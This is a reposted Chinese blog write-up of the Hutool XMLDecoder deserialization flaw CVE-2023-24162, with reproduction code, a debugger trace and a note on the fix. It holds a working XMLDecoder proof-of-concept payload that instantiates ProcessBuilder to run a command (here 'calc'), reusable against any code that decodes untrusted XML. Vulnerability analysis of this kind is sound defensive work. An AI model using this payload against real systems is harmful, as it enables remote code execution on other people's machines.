IT博客汇
  • 首页
  • 精华
  • 技术
  • 设计
  • 资讯
  • 扯淡
  • 权利声明
  • 登录 注册

    hutool XML反序列化漏洞(CVE-2023-24162)

    合天网安实验室发表于 2023-03-07 03:45:22
    love 0

    漏洞简介

      Hutool 中的XmlUtil.readObjectFromXml方法直接封装调用XMLDecoder.readObject解析xml数据,当使用 readObjectFromXml 去处理恶意的 XML 字符串时会造成任意代码执行。

    漏洞复现

      我们在 maven 仓库中查找 Hutool

      https://mvnrepository.com/search?q=Hutool

      

      

      把依赖复制出来,添加到项目的 pom.xml 文件中

    <!-- https://mvnrepository.com/artifact/cn.hutool/hutool-all -->
    <dependency>
        <groupId>cn.hutool</groupId>
        <artifactId>hutool-all</artifactId>
        <version>5.8.11</version>
    </dependency>

      添加完成后刷新一下 maven 依赖

      我们编写代码

    import cn.hutool.core.util.XmlUtil;
    public class Test {
        public static void main(String[] args)  {
            XmlUtil.readObjectFromXml("<java>n" +
                    "    <object class="java.lang.ProcessBuilder">n" +
                    "        <array class="java.lang.String" length="1">n" +
                    "            <void index="0">n" +
                    "                <string>calc</string>n" +
                    "            </void>n" +
                    "        </array>n" +
                    "        <void method="start"></void>n" +
                    "    </object>n" +
                    "</java>n");
        }
    }

      

      在项目目录下创建一个 bean.xml 文件,将 xml 放在文件中,构造代码也可以触发

    import cn.hutool.core.util.XmlUtil;
    import java.io.File;

    public class Test {
        public static void main(String[] args)  {
            File file = new File("bean.xml");
            XmlUtil.readObjectFromXml(file);
        }
    }

      

    漏洞分析

      整个漏洞分析下来相对来时是比较简单的,但是深入搞清楚 XML 反序列化的原理需要花费不小的功夫

      cn.hutool.core.util.XmlUtil#readObjectFromXml(java.lang.String)

      

      当然这个地方也是可以通过读取文件来实现的

      cn.hutool.core.util.XmlUtil#readObjectFromXml(java.io.File)

      

      cn.hutool.core.util.XmlUtil#readObjectFromXml(org.xml.sax.InputSource)

      

      java.beans.XMLDecoder#readObject

      





      漏洞本质上是 java 原生方法中的漏洞,XMLDecoder.readObject 。所以不去调用 hutool-all 中的 readObjectFromXml 方法 就可以避免这个漏洞的产生。

    漏洞修复

      在最新版的 hutool-all 没有用黑名单,而是直接移除了 readObjectFromXml 方法,简单粗暴。

      

    XMLDecoder.readObject

    <java>
     <object class="java.lang.ProcessBuilder">
      <array class="java.lang.String" length="1">
        <void index="0"><string>calc</string></void>
      </array>
      <void method="start"></void>
     </object>
    </java>

      ‍

      object 标签,class 的值对应着实例化的全类名(java.lang.ProcessBuilder)

      array 标签,class 的值对应着实例化的全类名对象构造的参数(ProcessBuilder 对象的构造参数)

      void 标签,method 的值对应着 method 的参数 (start)

      最后相当于执行了

    new java.lang.ProcessBuilder(new String[]{"calc"}).start();

      ‍

      为了方便看到整个调用联的流程,我们在触发漏洞的位置加上断点,分析其中经过了那些处理

      java.lang.ProcessBuilder#start

      

    start:1007, ProcessBuilder (java.lang)
    invoke0:-1, NativeMethodAccessorImpl (sun.reflect)
    invoke:62, NativeMethodAccessorImpl (sun.reflect)
    invoke:43, DelegatingMethodAccessorImpl (sun.reflect)
    invoke:498, Method (java.lang.reflect)
    invoke:71, Trampoline (sun.reflect.misc)
    invoke0:-1, NativeMethodAccessorImpl (sun.reflect)
    invoke:62, NativeMethodAccessorImpl (sun.reflect)
    invoke:43, DelegatingMethodAccessorImpl (sun.reflect)
    invoke:498, Method (java.lang.reflect)
    invoke:275, MethodUtil (sun.reflect.misc)
    invokeInternal:292, Statement (java.beans)
    access$000:58, Statement (java.beans)
    run:185, Statement$2 (java.beans)
    doPrivileged:-1, AccessController (java.security)
    invoke:182, Statement (java.beans)
    getValue:155, Expression (java.beans)
    getValueObject:166, ObjectElementHandler (com.sun.beans.decoder)
    getValueObject:123, NewElementHandler (com.sun.beans.decoder)
    endElement:169, ElementHandler (com.sun.beans.decoder)
    endElement:318, DocumentHandler (com.sun.beans.decoder)
    endElement:609, AbstractSAXParser (com.sun.org.apache.xerces.internal.parsers)
    scanEndElement:1782, XMLDocumentFragmentScannerImpl (com.sun.org.apache.xerces.internal.impl)
    next:2967, XMLDocumentFragmentScannerImpl$FragmentContentDriver (com.sun.org.apache.xerces.internal.impl)
    next:602, XMLDocumentScannerImpl (com.sun.org.apache.xerces.internal.impl)
    scanDocument:505, XMLDocumentFragmentScannerImpl (com.sun.org.apache.xerces.internal.impl)
    parse:842, XML11Configuration (com.sun.org.apache.xerces.internal.parsers)
    parse:771, XML11Configuration (com.sun.org.apache.xerces.internal.parsers)
    parse:141, XMLParser (com.sun.org.apache.xerces.internal.parsers)
    parse:1213, AbstractSAXParser (com.sun.org.apache.xerces.internal.parsers)
    parse:643, SAXParserImpl$JAXPSAXParser (com.sun.org.apache.xerces.internal.jaxp)
    parse:327, SAXParserImpl (com.sun.org.apache.xerces.internal.jaxp)
    run:375, DocumentHandler$1 (com.sun.beans.decoder)
    run:372, DocumentHandler$1 (com.sun.beans.decoder)
    doPrivileged:-1, AccessController (java.security)
    doIntersectionPrivilege:74, ProtectionDomain$JavaSecurityAccessImpl (java.security)
    parse:372, DocumentHandler (com.sun.beans.decoder)
    run:201, XMLDecoder$1 (java.beans)
    run:199, XMLDecoder$1 (java.beans)
    doPrivileged:-1, AccessController (java.security)
    parsingComplete:199, XMLDecoder (java.beans)
    readObject:250, XMLDecoder (java.beans)
    main:20, xmldecode (xml)

      ‍

      比较关键的处理逻辑是在 com.sun.org.apache.xerces.internal.impl.XMLDocumentFragmentScannerImpl#scanDocument开始对 xml 进行解析

      

      先简单描述一下我的理解,然后再截图与之相对应,可能部分理解并不完全正确

      根据 xml 文件的中的标识来识别开始还是结束 < 对应着开始,</ 对应着结束

      解析时会调用相对应的 Handler 进行处理,Handler 在 DocumentHandler.class 中被定义,通过节点名获取对应的handler

      解析到结束标识时会调用到相对应的 Handler 中的 getValueObject 方法 最后实现命令执行(这里描述比较简单,后面根据代码在详细描述)

      ‍

      com.sun.org.apache.xerces.internal.impl.XMLDocumentFragmentScannerImpl#scanDocument

      

      这里是一个 do while 的循环 直到匹配到结束标识 XMLStreamConstants.END_DOCUMENT

      ‍

      com.sun.org.apache.xerces.internal.impl.XMLDocumentScannerImpl#next

      

      com.sun.org.apache.xerces.internal.impl.XMLDocumentScannerImpl.XMLDeclDriver#next

      

      ‍

      com.sun.org.apache.xerces.internal.impl.XMLDocumentScannerImpl.PrologDriver#next

      

      com.sun.beans.decoder.DocumentHandler#DocumentHandler

      

      对应的 Handler 是根据节点返回的,最主要的漏洞触发位置应该是endElement 中

      com.sun.org.apache.xerces.internal.parsers.AbstractSAXParser#endElement

      

      com.sun.beans.decoder.DocumentHandler#endElement

      

      调用 StringElementHandler 对应的 endElement 方法 ,StringElementHandler 没有这个方法,调用其父类 ElementHandler 中 endElement

      

      com.sun.beans.decoder.ElementHandler#endElement

      

      com.sun.beans.decoder.StringElementHandler#getValueObject

      

      最后返回获取到的值是 calc 添加到其父类对应的 Argument 属性

      com.sun.beans.decoder.NewElementHandler#addArgument

      

      接着将 handler 指向上一级的 handler VoidElementHandler

      调用 VoidElementHandler 对应的 endElement 方法 ,VoidElementHandler 没有这个方法,调用其父类 ObjectElementHandler 的父类NewElementHandler 的父类 ElementHandler 中 endElement

      com.sun.beans.decoder.ElementHandler#endElement

      

      com.sun.beans.decoder.NewElementHandler#getValueObject()

      com.sun.beans.decoder.ObjectElementHandler#getValueObject

      

      执行完后又有一个 <void method="start"></void>

      调试返回的结果

      com.sun.beans.decoder.DocumentHandler#endElement

      

      com.sun.beans.decoder.ElementHandler#endElement

      

      com.sun.beans.decoder.NewElementHandler#getValueObject()

      

      com.sun.beans.decoder.ObjectElementHandler#getValueObject

      

      com.sun.beans.decoder.NewElementHandler#getContextBean

      

      com.sun.beans.decoder.ElementHandler#getContextBean

      

      com.sun.beans.decoder.NewElementHandler#getValueObject()

      

      com.sun.beans.decoder.ObjectElementHandler#getValueObject

      

      com.sun.beans.decoder.NewElementHandler#getContextBean

      

      com.sun.beans.decoder.ObjectElementHandler#getValueObject

      

      com.sun.beans.decoder.NewElementHandler#getValueObject()

      

      com.sun.beans.decoder.ElementHandler#getContextBean

      

      com.sun.beans.decoder.NewElementHandler#getContextBean

      

      

      继续执行,最终触发命令执行

      com.sun.beans.decoder.ObjectElementHandler#getValueObject

      

      后一部分很像套娃

      

      整个过程冗长繁琐,建议自己调试分析一下,可能了解的更加清楚。



沪ICP备19023445号-2号
友情链接